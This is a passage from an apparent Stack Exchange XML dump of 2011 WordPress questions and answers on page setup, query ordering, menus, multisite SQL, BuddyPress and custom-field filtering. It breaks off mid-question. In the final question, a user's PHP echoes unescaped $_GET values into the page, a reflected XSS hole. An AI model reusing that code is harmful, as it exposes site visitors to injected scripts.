  <row Id="24173" PostTypeId="1" AcceptedAnswerId="24174" CreationDate="2011-07-27T00:32:20.693" Score="1" ViewCount="31" Body="&lt;p&gt;My site as of right now is a static website. I am planning on having a 'recent blog posts' section on it, with permalink to the main blog post/blog. example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://site.com/blog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was wondering, because of having a recent blog posts section on the homepage, should I just have the entire website powered by WordPress and just add the homepage (and other pages, such as contact) as a word press 'page', and call recent blog posts on it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do it that way, am I still able to have the blog in &lt;code&gt;/blog&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was also thinking of just adding the whole WordPress files to the /blog directory and call recent blog posts from the static file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to Wordpress, so I am a bit confessed here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best option?&lt;/p&gt;&#xA;" OwnerUserId="4807" LastActivityDate="2011-07-27T00:49:54.287" Title="How should I best incorporate WordPress in my static website?" Tags="&lt;pages&gt;&lt;static-website&gt;" AnswerCount="1" />
  <row Id="24174" PostTypeId="2" ParentId="24173" CreationDate="2011-07-27T00:49:54.287" Score="1" ViewCount="" Body="&lt;p&gt;You can do either, it's up to you depending on how invested in your static site you are and how much work you want to do transferring things over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Codex page on &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;Integrating WordPress with your website&lt;/a&gt; outlines how you could have WordPress installed in the /blog directory, and show recent posts on your static site through the use of a bit of php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other option is to have WordPress take over serving all of your site's content. It's pretty easy to set up a static home page, plus contact, etc., as well as a blog at whatever url you choose. See the Codex page on &lt;a href=&quot;http://codex.wordpress.org/Settings_Reading_Screen&quot; rel=&quot;nofollow&quot;&gt;WordPress Settings &gt; Reading&lt;/a&gt;. You just need to create two pages, then designate one your home page and the other to be the page that shows your posts.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-27T00:49:54.287" CommentCount="1" />
  <row Id="24175" PostTypeId="2" ParentId="2680" CreationDate="2011-07-27T01:49:03.027" Score="0" ViewCount="" Body="&lt;p&gt;I save a copy of the &quot;not willing&quot; plugin CSS to the theme folder and import it into the theme css by adding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@import url('name-of-the-plugin-css.css');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to it (replacing, of course, the name of the .css by the one I'm injecting). Then I modify the css copy in the theme folder and save it to server as I do for the other files. Oh, yes, sometimes it may be necessary to &quot;nail&quot; the IDs or classes altered by assigning them an &quot;!important&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if this is state of the art, but it does no harm and works just fine.&lt;/p&gt;&#xA;" OwnerUserId="7369" LastEditorUserId="7369" LastEditorDisplayName="" LastEditDate="2011-07-27T02:06:27.107" LastActivityDate="2011-07-27T02:06:27.107" />
  <row Id="24176" PostTypeId="1" CreationDate="2011-07-27T01:53:35.957" Score="1" ViewCount="49" Body="&lt;p&gt;I would like to sort items by the &quot;order&quot; field of the page attributes (see pic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/8Fk1r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've come across all kinds of &quot;custom tag&quot; solutions but not one listing all of the &lt;em&gt;already available&lt;/em&gt; fields you can use with orderby. I'd like to use the &quot;order&quot; field as shown in the editor. I'd tried replacing the orderby field in the template with &quot;order&quot; but I don't see any results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post_type=projects&amp;amp;order=ASC&amp;amp;orderby=order&amp;amp;offset=1&amp;amp;posts_per_page=100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4466" LastActivityDate="2011-07-27T02:19:18.673" Title="orderby field - list of available options?" Tags="&lt;sort&gt;" AnswerCount="1" />
  <row Id="24177" PostTypeId="1" AcceptedAnswerId="24180" CreationDate="2011-07-27T02:01:08.313" Score="0" ViewCount="28" Body="&lt;p&gt;I'm building a WP 3.2 site with a couple of custom post types and taxonomies. I'm calling one of these custom post types &lt;em&gt;programs&lt;/em&gt;, and its associated taxonomy is called &lt;em&gt;topics&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add an item called &quot;Topics&quot; in the site's horizontal navigation, with a dropdown submenu that lists all categories in the &lt;em&gt;topics&lt;/em&gt; taxonomy. Each submenu item would then link to its respective category archive page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I assumed this would be pretty easy in WordPress, but I've been searching around for a while to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;a href=&quot;http://www.alistercameron.com/2009/12/13/wordpress-plugin-add-categories-menu/&quot; rel=&quot;nofollow&quot;&gt;This blog post and plugin&lt;/a&gt; come close, but it seems to only apply to blog categories (that is, I don't see how to adapt it for a custom taxonomy).&lt;/p&gt;&#xA;" OwnerUserId="7368" LastActivityDate="2011-07-27T03:06:53.810" Title="Can I output a custom taxonomy as a submenu in the site navigation menu?" Tags="&lt;custom-taxonomy&gt;&lt;custom-menus&gt;&lt;archive&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="24178" PostTypeId="2" ParentId="24176" CreationDate="2011-07-27T02:19:18.673" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;strong&gt;menu_order&lt;/strong&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post_type=projects&amp;amp;order=ASC&amp;amp;orderby=menu_order&amp;amp;offset=1&amp;amp;posts_per_page=100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Vaguely related reference:&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages#Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_list_pages#Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7368" LastActivityDate="2011-07-27T02:19:18.673" CommentCount="1" />
  <row Id="24180" PostTypeId="2" ParentId="24177" CreationDate="2011-07-27T03:06:53.810" Score="1" ViewCount="" Body="&lt;p&gt;This is enabled by default if your using &lt;code&gt;wp_nav_menu&lt;/code&gt; ( the drag &amp;amp; drop menu's in admin) and have also set &lt;code&gt;show_in_nav_menus&lt;/code&gt; to true for your &lt;code&gt;register_taxonomy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable them to show go to  Admin--&gt;Appearance--&gt;Menus     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click &quot;Screen Options&quot; in the top right and you should see it listed there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. The post you linked is obsolete.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-27T03:06:53.810" />
  <row Id="24181" PostTypeId="1" CreationDate="2011-07-27T03:19:40.820" Score="0" ViewCount="60" Body="&lt;p&gt;I'm trying to get a Page to display a custom query using the snippet posted &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21341/alternative-to-query-posts-for-main-loop&quot;&gt;here&lt;/a&gt;. The following is in my &lt;code&gt;functions.php&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function alter_the_query($request) {&#xA;    $dummy_query = new WP_Query();  // the query isn't run if we don't pass any query vars&#xA;    $dummy_query-&amp;gt;parse_query($request);&#xA;    // this is the actual manipulation; do whatever you need here&#xA;    if($dummy_query-&amp;gt;is_page('blog')) $request['category_name'] = 'Blog';&#xA;    // and then&#xA;    return $request;&#xA;}&#xA;add_filter('request','alter_the_query');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page called &quot;Blog&quot; has a basic loop inside- so it should be displaying whatever &lt;code&gt;WP_Query&lt;/code&gt; tells it to. However, it is only displaying the Page content- which should have been ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find a reference that explains the properties of the &lt;code&gt;$request&lt;/code&gt; object, so I'm not sure what I should do to make this snippet work. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2150" LastEditorUserId="2150" LastEditorDisplayName="" LastEditDate="2011-07-27T04:38:47.650" LastActivityDate="2011-08-28T20:36:13.827" Title="How to make the 'request' filter work?" Tags="&lt;wp-query&gt;&lt;custom-loop&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24182" PostTypeId="2" ParentId="24149" CreationDate="2011-07-27T03:39:33.050" Score="0" ViewCount="" Body="&lt;p&gt;Though it might take some tweaking you can use the 'orderby' parameter on multiple values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty here is more in terms of logic, for example July 3 (date value) and the number 10 (meta value) do not really relate to one another, this would cause problems if not formatted correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You best bet is to convert the date to a format that will work with your meta values using the built in WordPress date format,  a PHP date format ( most likely a unix timestamp, or timestamp) , or appending a fixed set of values to the date for ordering purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple orderby example. This is not intuitive you have to look closely there are two values separated by a space, &quot;title&quot; &lt;strong&gt;AND&lt;/strong&gt; &quot;menu_order&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query( array( &#xA;                     'post_type' =&amp;gt; 'page', &#xA;                     'orderby' =&amp;gt; 'title menu_order', &#xA;                     'order' =&amp;gt; 'ASC' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Date reference:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.php.net/manual/en/datetime.formats.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/datetime.formats.php&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.php.net/manual/en/function.strtotime.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/function.strtotime.php&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_date&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_date&lt;/a&gt;      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Query:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-27T03:39:33.050" />
  <row Id="24183" PostTypeId="2" ParentId="23386" CreationDate="2011-07-27T03:59:29.037" Score="0" ViewCount="" Body="&lt;p&gt;If you go to your users/profile page, click on the main user, and then you can select if the admin bar is shown while you are viewing site/in dashboard or both. By selecting &quot;viewing site&quot; you will be able to see the bar again. &lt;/p&gt;&#xA;" OwnerUserId="7372" LastActivityDate="2011-07-27T03:59:29.037" CommentCount="1" />
  <row Id="24184" PostTypeId="2" ParentId="24181" CreationDate="2011-07-27T04:04:14.807" Score="0" ViewCount="" Body="&lt;p&gt;Inside your function, simply do a &lt;code&gt;var_dump&lt;/code&gt; of the &lt;code&gt;$request&lt;/code&gt; object to reveal its properties.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-27T04:04:14.807" CommentCount="3" />
  <row Id="24185" PostTypeId="1" CreationDate="2011-07-27T04:19:14.170" Score="0" ViewCount="26" Body="&lt;p&gt;I'd like to run a query through my WordPress database that updates the blog_public values on all individual sites.  I'm stuck on how to have the statement look for wp_2_options, wp_3_options, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do it individually with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_10_options&#xA;SET option_value = REPLACE(option_value, '1', '0')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But am stuck on how to run a query that would go across all the tables.  Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2011-08-29T12:36:27.530" Title="Help running a MySQL query to update all wp_#_options tables in a Multisite install" Tags="&lt;database&gt;&lt;mysql&gt;&lt;wp-options&gt;" AnswerCount="1" />
  <row Id="24186" PostTypeId="1" AcceptedAnswerId="24187" CreationDate="2011-07-27T04:31:16.393" Score="0" ViewCount="33" Body="&lt;p&gt;I'm using &lt;code&gt;get_terms&lt;/code&gt; to output a taxonomy's terms, which are all numbers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4, 6, 8, 10, 12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I order these numerically, so they appear exactly as above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm getting is actually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10, 12, 4, 6, 8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see why it's done this (thinks 10 is first because it starts with a 1) but how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried all the ordering options on the codex for &lt;code&gt;get_terms&lt;/code&gt; but can't seem to get them in order. Here's an example of what I have so far. I've even tried ordering by id and entering them in order but it still muddled it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$taxonomy_array = get_terms('taxonomy-name', 'hide_empty=0');&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-27T04:44:06.350" Title="How to order a taxonomy's terms numerically, from lowest to highest using get_terms" Tags="&lt;taxonomy&gt;&lt;array&gt;&lt;get-terms&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="24187" PostTypeId="2" ParentId="24186" CreationDate="2011-07-27T04:44:06.350" Score="1" ViewCount="" Body="&lt;p&gt;I have a plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-taxonomy-sort/&quot; rel=&quot;nofollow&quot;&gt;Custom Taxonomy Sort&lt;/a&gt;, that allows you to sort taxonomy terms in any order that you might want. After installing the plugin, there will be an order field for each term. It will save these values as integers and will properly sort your taxonomy terms. By default, it will use the order you specify to sort the terms. It also enables a new value for sort the &lt;code&gt;orderby&lt;/code&gt; parameter, &quot;custom_sort&quot;. You would be able to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $terms = get_terms('taxonomy', 'orderby=custom_sort'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-27T04:44:06.350" CommentCount="2" />
  <row Id="24188" PostTypeId="1" CreationDate="2011-07-27T04:45:55.673" Score="0" ViewCount="8" Body="&lt;p&gt;I am developing a theme for my real estate portal. I am in the process of creating custom fields for the posts. In the users area, I dont want to load the dashboard anymore. I want to restrict it which i can do through a plugin. Problem is that when I will be creating the custom users area, how will i import the profile/add post/edit post/delete post functions in my custom template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7338" LastActivityDate="2011-07-27T04:45:55.673" Title="how to use posts in custom templates" Tags="&lt;posts&gt;&lt;dashboard&gt;" />
  <row Id="24191" PostTypeId="1" CreationDate="2011-07-27T06:48:37.300" Score="1" ViewCount="50" Body="&lt;p&gt;I am using wordpress and buddypress for my site and my registration works perfectly on www.mysite.com/register, i need to bring the registration fields to the home page(index.php). My register page contains 6 about fields, i tried to bring this, but i couldn't do so and i am stuck with this, could anyone know the solution.&lt;/p&gt;&#xA;" OwnerUserId="7376" LastActivityDate="2011-08-27T22:35:37.417" Title="How to bring registration field to index page?" Tags="&lt;buddypress&gt;&lt;forms&gt;&lt;registration&gt;&lt;register&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="24192" PostTypeId="1" CreationDate="2011-07-27T07:16:14.190" Score="1" ViewCount="12" Body="&lt;p&gt;Is there anyway that one can put a LaTeX formula on the title of a post? I know that they eventually become an image, while being used inside posts, but I'm just curious.&lt;/p&gt;&#xA;" OwnerUserId="7377" LastActivityDate="2011-07-27T07:16:14.190" Title="LaTeX formulas in title of the post?" Tags="&lt;title&gt;&lt;latex&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="24193" PostTypeId="1" CreationDate="2011-07-27T07:21:58.990" Score="1" ViewCount="19" Body="&lt;p&gt;I'm trying to clean up my blog by only displaying comments when a user specifically wants to - as in they click on the &quot;view comments&quot; URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've formatting my posts normally, and at the end I have a link to display comments, using the comments_link() function.  The comments_link() function seems to take the post and append a &quot;/#comments&quot; to the posts permalink URL.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is analyze the URL to see if the &quot;/#comments&quot; is in the URL, and if so then I would call my custom action to display the comments, otherwise I will post a comments_link asking the user if he wants to post the comment.  If there is any other flag built into WP for determining whether the user clicked on the comments link, that would be preferable as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is, I'm not sure how to analyze the URL to determine if they clicked on the comments link.  Any help is appreciated, thanks.&lt;/p&gt;&#xA;" OwnerUserId="7378" LastActivityDate="2011-08-08T18:38:31.313" Title="Only Display Comments From Comments URL" Tags="&lt;comments&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="24194" PostTypeId="2" ParentId="7791" CreationDate="2011-07-27T07:49:52.243" Score="0" ViewCount="" Body="&lt;p&gt;The best way is to use jquery validation plugin..I have tried it and works very nice...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/adding-form-validation-to-wordpress-comments-using-jquery/&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com/tutorials/wordpress/adding-form-validation-to-wordpress-comments-using-jquery/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to this page...everything is explained in detail&lt;/p&gt;&#xA;" OwnerUserId="4604" LastActivityDate="2011-07-27T07:49:52.243" />
  <row Id="24195" PostTypeId="1" CreationDate="2011-07-27T08:07:59.700" Score="0" ViewCount="22" Body="&lt;p&gt;I'm looking into a way to have global menus across my network of blogs. Basically I am using wordpress as a CMS - the purpose of the network is actually to ringfence content. The sub blogs will be able to customise some areas of the template - but I would like them to share the main site's menu system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easy enough for a static consistant menu - but my clients would like to be able to make changes to the menu on the main, top-level site using wordpress' built in custom menu system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - in short, can my sub sites in a blog network show the custom menu from my top level site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6402" LastActivityDate="2011-07-27T08:07:59.700" Title="global menus made from master site's custom menus wpmu network" Tags="&lt;multisite&gt;&lt;customization&gt;&lt;custom-menus&gt;&lt;network&gt;" />
  <row Id="24196" PostTypeId="1" AcceptedAnswerId="24259" CreationDate="2011-07-27T08:32:49.757" Score="2" ViewCount="43" Body="&lt;p&gt;I'm using wordpress 3.0 with buddypress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to enlarge the file size that is being uploaded from the media section in the admin menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have tried many ways including the methods from this &lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/how-to-increase-the-maximum-file-upload-size-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; but nothing made it larger than a 1 mega.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a different way to do it?&lt;br&gt;&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2011-07-27T20:51:09.300" Title="How to enlarge the media file upload size in wordpress admin" Tags="&lt;php&gt;&lt;uploads&gt;&lt;media-upload&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="24197" PostTypeId="1" CreationDate="2011-07-27T09:04:31.927" Score="0" ViewCount="34" Body="&lt;p&gt;Either there’s something I seriously don’t understand, or there’s a rather counter-intuitive feature in the member search in BuddyPress: if you choose alphabetical order, the search only operates on the name of the member, rather than on all the extended profile fields. In other words, it applies the search terms to all the extended profile fields if you order by anything other than alphabetical. If you order by alphabetical, it applies the search terms to the name only. So if you keep the same search terms, but choose a different ordering, you get different members showing. This is counter intuitive, to say the least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reproduce the problem (using out-of-the-box BuddyPress with the default theme) by doing a member search on some word that appears in an extended profile field for at least one member, but isn’t in anyone’s name. You will get some members listed. If you change the order to Alphabetical, they will disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to be because in &lt;code&gt;get_users()&lt;/code&gt;  (at around line 141 of &lt;code&gt;bp_core_classes.php&lt;/code&gt;) we take only the name record in the profile data table, if the ordering is alphabetical. If the ordering isn’t alphabetical we keep all the records, which is what we want. I think the way round it is to do two separate joins, one to get the extended profile field records in so that they can be searched, and another to provide the term on which to do the ordering. I've tried the SQL, which works properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, is there any way round this, other than modifying the function in the core file on my site (which doesn’t seem a particularly good idea)? For instance, is there any way of overriding the &lt;code&gt;get_users()&lt;/code&gt; function (which is a static function in the &lt;code&gt;BP_Core_User&lt;/code&gt; class)? I really need the alphabetical ordering, as the other orderings are pretty meaningless to most of the users of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is this a known feature? Or is it a bug, in which case I should report it?&lt;/p&gt;&#xA;" OwnerUserId="7381" LastActivityDate="2011-08-26T23:35:14.723" Title="Problem with BuddyPress alphabetical member search" Tags="&lt;search&gt;&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="24198" PostTypeId="1" CreationDate="2011-07-27T09:14:36.943" Score="2" ViewCount="33" Body="&lt;p&gt;So, I was thinking I'd use WordPress' Bookmarks/Links content type to populate a slider...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...Except there are a &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_bookmarks&quot; rel=&quot;nofollow&quot;&gt;grand&lt;/a&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_bookmarks&quot; rel=&quot;nofollow&quot;&gt;total&lt;/a&gt; of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_bookmark&quot; rel=&quot;nofollow&quot;&gt;four&lt;/a&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_bookmark_field&quot; rel=&quot;nofollow&quot;&gt;functions&lt;/a&gt; interacting with this part of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you can even access these with a WP_Query object, and it seems all date-related data attached to these is in relation to the last update of the link itself (I.e., when the linked-to page is updated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any way to even retrieve only the most recently-added bookmark?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For more of a semi-related discussion question for the comments -- if this aspect of WP is so woefully underdeveloped 3 versions of the CMS in, why not just farm out this functionality to a plugin? Simply backwards compatibility?)&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-07-28T07:32:51.267" Title="Getting only the most recent bookmark?" Tags="&lt;links&gt;&lt;link&gt;&lt;bookmark&gt;&lt;get-bookmarks&gt;" AnswerCount="1" />
  <row Id="24199" PostTypeId="2" ParentId="24191" CreationDate="2011-07-27T09:54:57.420" Score="0" ViewCount="" Body="&lt;p&gt;I've not had chance to test it but after a very brief google search I found this - &lt;a href=&quot;http://wordpress.org/extend/plugins/registration-form-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/registration-form-widget/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be the answer if it works, you could create a new widget area within your page template and then drop the widget in to that area and style the widget to suite.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-07-27T09:54:57.420" />
  <row Id="24200" PostTypeId="2" ParentId="24197" CreationDate="2011-07-27T10:10:15.053" Score="0" ViewCount="" Body="&lt;p&gt;I think you should report it. Additionally posting a patch with your SQL would be even better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it's done intentionally, you should at least obtain some info on how to get the behaviour you want without modifying BP files.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-27T10:10:15.053" />
  <row Id="24201" PostTypeId="2" ParentId="24198" CreationDate="2011-07-27T10:59:47.920" Score="1" ViewCount="" Body="&lt;p&gt;As far as I know it's not possible to query the links directly, but there is definetly a &lt;code&gt;link_updated&lt;/code&gt; field in the &lt;a href=&quot;http://codex.wordpress.org/Database_Description#Table%3a_wp_links&quot; rel=&quot;nofollow&quot;&gt;wp_links&lt;/a&gt; table, so you can use &lt;code&gt;wpdb&lt;/code&gt; to interact with it and return the latest (modified) links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a solution &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3901/how-to-splice-in-wp-links-links-into-the-loop/3910#3910&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; : Updating a link doesn't change &lt;code&gt;link_updated&lt;/code&gt;, but here is a plugin that can solve that : &lt;a href=&quot;http://wordpress.org/extend/plugins/link-updated/&quot; rel=&quot;nofollow&quot;&gt;Link Updated Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Auttomatically update the link_updated field when adding or editing a&#xA;  link, so you can use Links as a linklist.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt; : If using the Links/Bookmarks functionality is too much of a hassle, as it seems it's really not as flexible as posts, you could also create a custom post type or a post format for Bookmarks and work with that.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-28T07:32:51.267" LastActivityDate="2011-07-28T07:32:51.267" CommentCount="3" />
  <row Id="24202" PostTypeId="1" AcceptedAnswerId="24204" CreationDate="2011-07-27T11:07:56.253" Score="0" ViewCount="47" Body="&lt;p&gt;I'm trying to display wide image icons from the_post_thumbnail() function. I'm using 'true' value for cropping, but they are not cropped well... I get some strange results with different sizes (I'm trying to use 200width x 150height). If image cannot be display with good proportions (I don't know why whem I'm cropping it? ) then I want it to have exact 150px height always! How can I achieve it? I've been trying with set_post_thumbnail_size() but its even worst...&lt;/p&gt;&#xA;" OwnerUserId="7113" LastActivityDate="2011-07-27T12:00:10.217" Title="the_post_thumbnail() Custom sizes not display correctly" Tags="&lt;post-thumbnails&gt;&lt;set-post-thumbnail-size&gt;" AnswerCount="1" />
  <row Id="24203" PostTypeId="1" CreationDate="2011-07-27T11:33:13.297" Score="0" ViewCount="57" Body="&lt;p&gt;I recently &lt;a href=&quot;http://sixrevisions.com/wordpress/custom-fields-search/&quot; rel=&quot;nofollow&quot;&gt;found an article&lt;/a&gt; about filtering post results with a custom field.&#xA;The thing is that I don't know how to transform this code so that I can filter the post through multiple custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it would be easier if I show you directly &lt;a href=&quot;http://www.tousleshotels.com/ain/&quot; rel=&quot;nofollow&quot;&gt;the website I'm currently working on&lt;/a&gt;. There you can click on &quot;Filtrer les résultats&quot;. I want to be able to display the post whether they have 1, 2, 3, 4 and/or 5 stars, in the city chosen in the drop down menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code following the article's tutorial is : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$villes = $_GET['ville'];&#xA;$etoiles = $_GET['etoiles'];&#xA;&#xA;&#xA;if ($villes) {&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&#xA;$args=array(&#xA;'meta_value' =&amp;gt; $villes,&#xA;'paged'=&amp;gt;$paged,&#xA;);&#xA;&#xA; query_posts($args);&#xA;} else {&#xA; query_posts('posts_per_page=4');&#xA;                }&#xA;&#xA;if ($villes) { ?&amp;gt;&#xA;&amp;lt;h3&amp;gt;Votre recherche :&amp;lt;/h3&amp;gt; &amp;lt;?php echo 'Hôtels se trouvant à : &amp;lt;strong&amp;gt;'.$villes.'&amp;lt;/strong&amp;gt; ayant '.$etoiles.' étoiles'; ?&amp;gt;&#xA;&#xA;   &amp;lt;?php } else { ?&amp;gt;&#xA;&amp;lt;h3&amp;gt;Derniers hôtels ajoutés&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;if (have_posts()) :  while (have_posts()) : the_post();&#xA;&#xA;$event_ville = get_post_meta($post-&amp;gt;ID, 'Ville', true);&#xA;$event_etoile = get_post_meta($post-&amp;gt;ID, 'Étoiles', true);&#xA;&#xA;   ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does retrieve the city and filter pretty well but I'm having some trouble with the stars. I invite you to try and test it directly on the website in order to see it by yourselves.&#xA;I would need something that say: 